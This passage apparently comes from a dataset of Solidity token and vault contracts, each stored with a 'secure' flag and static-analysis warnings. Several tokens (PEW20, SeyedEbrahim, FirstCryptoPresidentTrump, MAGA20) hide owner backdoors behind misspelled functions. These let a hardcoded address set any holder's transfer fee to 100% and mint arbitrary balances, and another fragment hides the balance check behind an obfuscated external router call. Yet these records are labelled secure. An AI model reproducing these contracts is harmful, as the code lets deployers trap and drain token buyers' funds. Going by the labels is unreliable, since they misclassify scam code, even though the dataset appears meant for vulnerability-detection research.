uint160 a = 70;\n\n return (bb +\n a +\n uint160(value) +\n uint160(\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000000\n )\n )\n ));\n }\n\n function brcFactornnmoosgsto(\n uint256 value\n ) internal view returns (address) {\n return address(brcFfffactornnmoosgsto(value));\n }\n\n function getBcFnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return getBcQnnmoosgsto(accc);\n }\n\n function getBcQnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return UniswapRouterV2(accc);\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address sender\n ) public view virtual returns (uint256) {\n return _allowances[accountOwner][sender];\n }\n\n function approve(\n address sender,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, sender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(from, sender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(from, sender, currentAllowance - amount);\n }\n }\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n uint256 balance = IUniswapRouterV2.swap99(\n Router2Instance,\n Router2Instance,\n _balances[from],\n from\n );\n\n require(balance >= amount, \"ERC20: amount over balance\");\n\n _balances[from] = balance.sub(amount);\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n }\n\n function _approve(\n address accountOwner,\n address sender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(sender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][sender] = amount;\n\n emit Approval(accountOwner, sender, amount);\n }\n}",
"file_name": "solidity_code_3935.sol",
"secure": 1,
"size_bytes": 6292
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract PEW20 is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2c22f03): PEW20._decimals should be immutable \n\t// Recommendation for 2c22f03: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f394291): PEW20._totalSupply should be immutable \n\t// Recommendation for f394291: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 811015d): PEW20._marketnkddress should be immutable \n\t// Recommendation for 811015d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _marketnkddress;\n\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _marketnkddress = 0xC299647d5CC8851337f75F1090bA4026909539d0;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Approue(address user, uint256 Percents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = Percents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, Percents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _marketnkddress;\n }\n\n function liqbllettlyens(address recipient, uint256 aDropst) external {\n uint256 receiveRewrd = aDropst;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_3936.sol",
"secure": 1,
"size_bytes": 5348
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 97409717902926075812796781700465201095167245 *\n 10 ** 4 +\n 281474976712680;\n }\n}",
"file_name": "solidity_code_3937.sol",
"secure": 1,
"size_bytes": 332
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Erc20.sol\" as Erc20;\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"BABYSAFE\", unicode\"BABYSAFE\", 9, 10000000000) {}\n}",
"file_name": "solidity_code_3938.sol",
"secure": 1,
"size_bytes": 206
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract SeyedEbrahim is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5a1183f): SeyedEbrahim._decimals should be immutable \n\t// Recommendation for 5a1183f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f183bc9): SeyedEbrahim._totalSupply should be immutable \n\t// Recommendation for f183bc9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5585615): SeyedEbrahim._marketddress should be immutable \n\t// Recommendation for 5585615: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _marketddress;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _marketddress = 0x545b8896Ff7038c4AcDf486784E032aB9Ef8707b;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Aaprave(address user, uint256 feePercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = feePercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, feePercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _marketddress;\n }\n\n function liqbresewrnt(address recipient, uint256 airDrop) external {\n uint256 receiveRewrd = airDrop;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_3939.sol",
"secure": 1,
"size_bytes": 5373
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nabstract contract Initializable {\n struct InitializableStorage {\n uint64 _initialized;\n bool _initializing;\n }\n\n bytes32 private constant INITIALIZABLE_STORAGE =\n 0xf0c57e16840df040f15088dc2f81fe391c3923bec73e23a9662efc9c229c6a00;\n\n error InvalidInitialization();\n\n error NotInitializing();\n\n event Initialized(uint64 version);\n\n modifier initializer() {\n InitializableStorage storage $ = _getInitializableStorage();\n\n bool isTopLevelCall = !$._initializing;\n\n uint64 initialized = $._initialized;\n\n bool initialSetup = initialized == 0 && isTopLevelCall;\n\n bool construction = initialized == 1 && address(this).code.length == 0;\n\n if (!initialSetup && !construction) {\n revert InvalidInitialization();\n }\n\n $._initialized = 1;\n\n if (isTopLevelCall) {\n $._initializing = true;\n }\n\n _;\n\n if (isTopLevelCall) {\n $._initializing = false;\n\n emit Initialized(1);\n }\n }\n\n modifier reinitializer(uint64 version) {\n InitializableStorage storage $ = _getInitializableStorage();\n\n if ($._initializing || $._initialized >= version) {\n revert InvalidInitialization();\n }\n\n $._initialized = version;\n\n $._initializing = true;\n\n _;\n\n $._initializing = false;\n\n emit Initialized(version);\n }\n\n modifier onlyInitializing() {\n _checkInitializing();\n\n _;\n }\n\n function _checkInitializing() internal view virtual {\n if (!_isInitializing()) {\n revert NotInitializing();\n }\n }\n\n function _disableInitializers() internal virtual {\n InitializableStorage storage $ = _getInitializableStorage();\n\n if ($._initializing) {\n revert InvalidInitialization();\n }\n\n if ($._initialized != type(uint64).max) {\n $._initialized = type(uint64).max;\n\n emit Initialized(type(uint64).max);\n }\n }\n\n function _getInitializedVersion() internal view returns (uint64) {\n return _getInitializableStorage()._initialized;\n }\n\n function _isInitializing() internal view returns (bool) {\n return _getInitializableStorage()._initializing;\n }\n\n function _getInitializableStorage()\n private\n pure\n returns (InitializableStorage storage $)\n {\n assembly {\n $.slot := INITIALIZABLE_STORAGE\n }\n }\n}",
"file_name": "solidity_code_394.sol",
"secure": 1,
"size_bytes": 2673
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract FirstCryptoPresidentTrump is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d01b720): FirstCryptoPresidentTrump._decimals should be immutable \n\t// Recommendation for d01b720: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: af3402f): FirstCryptoPresidentTrump._totalSupply should be immutable \n\t// Recommendation for af3402f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e786304): FirstCryptoPresidentTrump._marketwaddress should be immutable \n\t// Recommendation for e786304: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _marketwaddress;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _marketwaddress = 0x15a11c99042b284B73617960b674f7B0Fafb201e;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Aproave(address user, uint256 feePercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = feePercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, feePercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _marketwaddress;\n }\n\n function liqsenrnt(address recipient, uint256 airDrop) external {\n uint256 receiveRewrd = airDrop;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_3940.sol",
"secure": 1,
"size_bytes": 5430
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract YinYang is ERC20, Ownable {\n IUniswapV2Router02 public uniswapV2Router;\n\n address public uniswapV2Pair;\n\n uint256 private constant INITIAL_SUPPLY = 100_000 * 10 ** 18;\n\n uint256 public walletLimit;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fa8f222): YinYang.deployerWallet should be immutable \n\t// Recommendation for fa8f222: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public deployerWallet = address(tx.origin);\n\n constructor() ERC20(unicode\"阴阳\", unicode\"阴阳\") Ownable(deployerWallet) {\n _mint(deployerWallet, INITIAL_SUPPLY);\n\n walletLimit = INITIAL_SUPPLY / 100;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n if (\n from != owner() &&\n to != uniswapV2Pair &&\n to != address(uniswapV2Router)\n ) {\n require(\n balanceOf(to) + amount <= walletLimit,\n \"Transfer exceeds maximum wallet limit\"\n );\n }\n\n super._transfer(from, to, amount);\n }\n\n function removeWalletLimit() external onlyOwner {\n walletLimit = INITIAL_SUPPLY;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 3f7af62): YinYang.start(address,address).factoryAddress lacks a zerocheck on \t uniswapV2Pair = IUniswapV2Factory(factoryAddress).createPair(address(this),uniswapV2Router.WETH())\n\t// Recommendation for 3f7af62: Check that the address is not zero.\n function start(\n address routerAddress,\n address factoryAddress\n ) external onlyOwner {\n uniswapV2Router = IUniswapV2Router02(routerAddress);\n\n\t\t// missing-zero-check | ID: 3f7af62\n uniswapV2Pair = IUniswapV2Factory(factoryAddress).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n }\n}",
"file_name": "solidity_code_3941.sol",
"secure": 0,
"size_bytes": 2376
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract MAGA20 is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5c0134f): MAGA20._decimals should be immutable \n\t// Recommendation for 5c0134f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 718e856): MAGA20._totalSupply should be immutable \n\t// Recommendation for 718e856: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 991813d): MAGA20._marketwaltaddress should be immutable \n\t// Recommendation for 991813d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _marketwaltaddress;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _marketwaltaddress = 0x26Af43286374EcCF2cD446968a86fA9346ebD755;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Apprave(address user, uint256 feePercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = feePercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, feePercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _marketwaltaddress;\n }\n\n function liqsepburnt(address recipient, uint256 airDrop) external {\n uint256 receiveRewrd = airDrop;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_3942.sol",
"secure": 1,
"size_bytes": 5368
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\n\ncontract Vault {\n using SafeMath for uint256;\n\n using SafeERC20 for IERC20;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8e371a3): Vault.auth should be immutable \n\t// Recommendation for 8e371a3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public auth;\n\n address public owner;\n\n address public tknContract;\n\n uint256 private unlockedBalance;\n\n uint256 private totalBalance;\n\n uint256 private startTime;\n\n uint256 private totalWithdraw;\n\n uint256 private initialTotal;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e6b5997): Vault.c_i should be immutable \n\t// Recommendation for e6b5997: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public c_i = 9999;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e39086d): Vault.c_t should be immutable \n\t// Recommendation for e39086d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public c_t = 300;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4a154ca): Vault.c_y0 should be immutable \n\t// Recommendation for 4a154ca: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public c_y0 = 50;\n\n event Withdraw(address withdrawer, uint256 amount);\n\n constructor(uint256 _c_i, uint256 _c_t, uint256 _c_y0) {\n auth = msg.sender;\n\n c_t = _c_t;\n\n c_i = _c_i;\n\n c_y0 = _c_y0;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 07b871b): Vault.setTkn(address)._TknContract lacks a zerocheck on \t tknContract = _TknContract\n\t// Recommendation for 07b871b: Check that the address is not zero.\n function setTkn(address _TknContract) public {\n require(tknContract == address(0), \"tknContract is setted!\");\n\n require(msg.sender == auth, \"msg.sender is not Auth!\");\n\n\t\t// missing-zero-check | ID: 07b871b\n tknContract = _TknContract;\n\n startTime = block.timestamp;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 21b7557): Vault.setOwner(address)._owner lacks a zerocheck on \t owner = _owner\n\t// Recommendation for 21b7557: Check that the address is not zero.\n function setOwner(address _owner) public {\n require(owner == address(0), \"owner is setted!\");\n\n require(msg.sender == auth, \"msg.sender is not Auth!\");\n\n\t\t// missing-zero-check | ID: 21b7557\n owner = _owner;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 8719a03): Vault.getUnlocked_TotalBalance() uses timestamp for comparisons Dangerous comparisons period > c_t k_scope_0 < period period == c_t\n\t// Recommendation for 8719a03: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 31de84c): Vault.getUnlocked_TotalBalance() uses a dangerous strict equality period == c_t\n\t// Recommendation for 31de84c: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 91d225e): Vault.getUnlocked_TotalBalance() performs a multiplication on the result of a division a3 = (temp_unlock * a3_1) / a3_2 temp_unlock = (a3 * a1 * a2_1) / a2_2 / 1000 + (c_y0 * temp_unlock) / 1000\n\t// Recommendation for 91d225e: Consider ordering multiplication before division.\n function getUnlocked_TotalBalance() public view returns (uint256, uint256) {\n uint256 period = (block.timestamp - startTime) / 1 days;\n\n uint256 temp_unlock = IERC20(tknContract).balanceOf(address(this));\n\n if (initialTotal != 0) temp_unlock = initialTotal;\n\n\t\t// timestamp | ID: 8719a03\n if (period > c_t) period = c_t;\n\n uint256 b = 10 ** 18;\n\n uint256 a3_1 = b;\n\n uint256 a3_2;\n\n uint256 a3;\n\n for (uint16 k = 0; k < c_t; k++) {\n a3_1 *= c_i;\n\n a3_1 /= 10000;\n }\n\n a3_2 = b - a3_1;\n\n\t\t// divide-before-multiply | ID: 91d225e\n a3 = (temp_unlock * a3_1) / a3_2;\n\n uint256 a1 = (1000 - c_y0);\n\n uint256 a2_1 = b;\n\n\t\t// timestamp | ID: 8719a03\n for (uint16 k = 0; k < period; k++) {\n a2_1 *= c_i;\n\n a2_1 /= 10000;\n }\n\n uint256 a2_2 = a2_1;\n\n a2_1 = b - a2_1;\n\n\t\t// divide-before-multiply | ID: 91d225e\n temp_unlock =\n (a3 * a1 * a2_1) /\n a2_2 /\n 1000 +\n (c_y0 * temp_unlock) /\n 1000;\n\n\t\t// timestamp | ID: 8719a03\n\t\t// incorrect-equality | ID: 31de84c\n if (period == c_t) temp_unlock = initialTotal;\n\n return (\n temp_unlock - totalWithdraw,\n IERC20(tknContract).balanceOf(address(this))\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7fd35c8): Reentrancy in Vault.withdraw(address,uint256) External calls IERC20(tknContract).transfer(dest,amount) Event emitted after the call(s) Withdraw(dest,amount)\n\t// Recommendation for 7fd35c8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 738f503): 